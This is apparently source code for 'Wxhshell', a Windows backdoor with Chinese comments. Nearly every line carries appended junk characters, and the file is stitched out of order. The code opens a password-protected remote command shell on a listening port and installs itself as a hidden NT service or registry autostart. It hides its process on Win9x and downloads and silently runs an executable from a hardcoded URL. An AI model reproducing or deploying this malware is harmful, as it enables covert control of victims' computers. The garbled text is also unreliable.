DWORD BasePriority; `6YN/"unfp
ULONG UniqueProcessId; ]m&Ss
ULONG InheritedFromUniqueProcessId; ?|`n&HrP
} PROCESS_BASIC_INFORMATION; fQ.S ,lMe
7N5M=f.DS(
PROCNTQSIP NtQueryInformationProcess; 2cS94h
TZn5s~t
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2t0VbAO1{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]
fA5D)/m<
aWvC-vZk
HANDLE hProcess; zLxuxf~4@
PROCESS_BASIC_INFORMATION pbi; [P6A$HC<
BTOl`U
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lR
F5/
if(NULL == hInst ) return 0; +wHa)A0MW
bF;|0X$
x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2h}FotlO
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "-5FUKI-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qauvwAMuX
lA6{TH.x
if (!NtQueryInformationProcess) return 0; 'UGgY3
;Hp78!#,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )-iUUak
if(!hProcess) return 0; 5,O:"3>c
ZOppec1D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9qzHy}A
A;^{%S
CloseHandle(hProcess); x a\~(B.
23+JuXC6>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ':
Ek3' L
if(hProcess==NULL) return 0; VY|UB7,C
n~jW
HMODULE hMod; :.{d,)G
char procName[255]; @.dM1DN)
unsigned long cbNeeded; }lq$Fi/
WhFE{-!gX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ignOF
>h9~
/
CloseHandle(hProcess); ljg6uz1v%
z>=;Xe8P8n
if(strstr(procName,"services")) return 1; // 以服务启动 sUkn.g!
W=#jtU`:5
return 0; // 注册表启动 gId
:IR
} 'Vhnio;qC
8[
ZuVJ]
// 主模块 )5x$J01S
int StartWxhshell(LPSTR lpCmdLine) fkk9&QB%(
{ DU5rB\!.~
SOCKET wsl; ^|!\IzDp
BOOL val=TRUE; e-xT.RnQ
int port=0; AXo)(\
struct sockaddr_in door; @P=n{-pIW
6@d/k.3p
if(wscfg.ws_autoins) Install(); ,W]}mqV%.'
Sl
\EPKZD
port=atoi(lpCmdLine); FELW?Q?k
,&@FToR
if(port<=0) port=wscfg.ws_port; SM<qb0
,[_)BM
WSADATA data; G 8tK"LC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !_dW
`
{=Py|N\\t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pUgas?e&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hig t(u
door.sin_family = AF_INET; Mu$q) u
door.sin_addr.s_addr = inet_addr("127.0.0.1"); IpKI6[2{`f
door.sin_port = htons(port); p@?(m/m$
&Ci_wDJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {-|El}.M
closesocket(wsl); sI4
FgO
return 1; )%:
W;H
} kWbY&]ZO
(5 RZLRn
if(listen(wsl,2) == INVALID_SOCKET) { &k(tDP
closesocket(wsl); |>Pv2
return 1; u b@'(*
} 0zjGL7
Wxhshell(wsl); R^K:hKQ
WSACleanup(); UyMlk
h}+Gz={Q^
return 0; a^&RV5o
|g\CS4$
} m
.En!~t
tU8aPiUl
// 以NT服务方式启动 e.|t12)L "
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :yOJL [x
{ pQm-Hr78j
DWORD status = 0; v1NFz>Hx
DWORD specificError = 0xfffffff; BK.RYSN
"(a}}q 9-
serviceStatus.dwServiceType = SERVICE_WIN32; )9!J
$q
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %nkbQ2^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A.!3{pAb
serviceStatus.dwWin32ExitCode = 0; ?Xp+5{
serviceStatus.dwServiceSpecificExitCode = 0; c,*a|@
serviceStatus.dwCheckPoint = 0; s6oIj$
serviceStatus.dwWaitHint = 0; 368H6 Jj
s%N6^}N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z2dW)_fU$
if (hServiceStatusHandle==0) return; !:D,|k\m
_`9WNJiL
status = GetLastError(); uVw|jj
if (status!=NO_ERROR) S.owVMQ
{ <FvljKuq+
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0B5d $0
serviceStatus.dwCheckPoint = 0; ]mi)x63^
serviceStatus.dwWaitHint = 0; ^;EwZwH[
serviceStatus.dwWin32ExitCode = status; d5=yAn-+=
serviceStatus.dwServiceSpecificExitCode = specificError; 3cFvS[JG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x=1Sbs w{
return; SsIN@
} 8WG_4e
2u}ns8wn
serviceStatus.dwCurrentState = SERVICE_RUNNING; e/IVZmUn^
serviceStatus.dwCheckPoint = 0; H4e2#]*i7
serviceStatus.dwWaitHint = 0; 3,@|kN<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A~wyn5:_
} jTok1k
I#CS;Yh95
// 处理NT服务事件,比如:启动、停止 CSE!Abg
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ozc9y y!%
{ mp0!S
switch(fdwControl) Q".p5(<
{ 4"V6k4i5
case SERVICE_CONTROL_STOP: R!_1 *H$
serviceStatus.dwWin32ExitCode = 0; 3WY:Fn+#
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5{M$m&$1
serviceStatus.dwCheckPoint = 0; +hMF\@
serviceStatus.dwWaitHint = 0; KRj3??b
{ toC|vn&P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Q}3X-xy
} ~ZRtNL9
return; (FNX>2Mv
case SERVICE_CONTROL_PAUSE: :N:e3$c
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4yR X{Bl|
break; ]+AgXUrbOD
case SERVICE_CONTROL_CONTINUE: !Ka~X!+\
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;+VHi%5Z
break; &d[%
case SERVICE_CONTROL_INTERROGATE: /d1V&Lj
break; {Gr"oO`&"
}; T04&Tl'CT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PAy7b7m~B
} l)91v"vJ
v1Jg8L=
// 标准应用程序主函数 Bd*\|M
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;Q%3WD
{ %'[ pucEF
D$bJ s O
// 获取操作系统版本 Hbz,3{o5
OsIsNt=GetOsVer(); ZUeA&&{
GetModuleFileName(NULL,ExeFile,MAX_PATH); fuA8jx
15`,kJSK
// 从命令行安装 VufG7%S{
if(strpbrk(lpCmdLine,"iI")) Install(); =`BPGfCb
|0aGX]Y
// 下载执行文件 mi{ r7.e5I
if(wscfg.ws_downexe) { 1"HSM=p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KXga{]G:
WinExec(wscfg.ws_filenam,SW_HIDE); Zl`sY5{1
} N`i`[ f
%c,CfhEV%&
if(!OsIsNt) { 55|.MXzq
// 如果时win9x,隐藏进程并且设置为注册表启动 7!E7XP6,~>
HideProc(); U-:_4[
StartWxhshell(lpCmdLine); v@E/?\k"
} |oJ R+
else .FAuM~_99b
if(StartFromService()) } =^Al;W
// 以服务方式启动 {:d9q
StartServiceCtrlDispatcher(DispatchTable); o[CjRQY]P
else I~I$/j]e`
// 普通方式启动 ]%/a'[
StartWxhshell(lpCmdLine); \%:]o-+"I
z6Jfu:_N!
return 0;
H!ISQ8{V
} (L6*#!Dt
X~Vr}
$8,/[V
A
'P?DZE
=========================================== f Tc,"{
H)&pay
s_ N]$3'[E
h ^6Yjy
2VNfnk
#2*2xt
" t#[u
X?
lw"5p)aB
#include <stdio.h> cxQ8/0^
#include <string.h> -#?p16qz5
#include <windows.h> (KxL*gB
#include <winsock2.h> #ZRplA~C7]
#include <winsvc.h> 5Pl~du
#include <urlmon.h> 4?^t=7N
B>&eciY
#pragma comment (lib, "Ws2_32.lib") )vFZl]
#pragma comment (lib, "urlmon.lib") Qvd$fY**
35[8XD
#define MAX_USER 100 // 最大客户端连接数 mjqVP.
#define BUF_SOCK 200 // sock buffer y3O Nn~k
#define KEY_BUFF 255 // 输入 buffer [oQ&}3\XJ
Rl""
aZ
#define REBOOT 0 // 重启 _(8HK
#define SHUTDOWN 1 // 关机 (g@e=m7Q
5Y&s+|
#define DEF_PORT 5000 // 监听端口 AQ 5CrYb
XHlx89v7
#define REG_LEN 16 // 注册表键长度 oGLSk(T&I
#define SVC_LEN 80 // NT服务名长度 cKX6pG
,{{uRs/
// 从dll定义API ]{[VTjC7rY
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vhww-A
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tU%-tlU9?
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Zc:
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?eb2T`\0Q
[N/[7Q/y
// wxhshell配置信息 /.\$%bua
struct WSCFG { khb
Gyg%
int ws_port; // 监听端口 ]AGJPuX
char ws_passstr[REG_LEN]; // 口令 URW'*\Xjb
int ws_autoins; // 安装标记, 1=yes 0=no oWpy^=D_
char ws_regname[REG_LEN]; // 注册表键名 U jC$Mi`O
char ws_svcname[REG_LEN]; // 服务名 F~ n}Ep~1
char ws_svcdisp[SVC_LEN]; // 服务显示名 iw(\]tMt
char ws_svcdesc[SVC_LEN]; // 服务描述信息 5U[;T]{)e
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zy#E qv
int ws_downexe; // 下载执行标记, 1=yes 0=no 2f]9I1{
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2I'\o7Y
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4.3Bz1p
0n_Cuh\
}; 'PlKCn`(w
nYuZg6K
// default Wxhshell configuration jK&kQ
struct WSCFG wscfg={DEF_PORT, xnu|?;.}!
"xuhuanlingzhe", N2}].}
1, ?|:!PF*L~z
"Wxhshell", Uc}L/ax
"Wxhshell", mhM=$AIq
"WxhShell Service", q5[%B K
"Wrsky Windows CmdShell Service", 4kA/W0 VG
"Please Input Your Password: ", h"YIAQ',
1, d*1@lmV*
"http://www.wrsky.com/wxhshell.exe", / vge@bsE
"Wxhshell.exe" _SC>EP8:Z
}; Ah &D5,3
WZCX&ui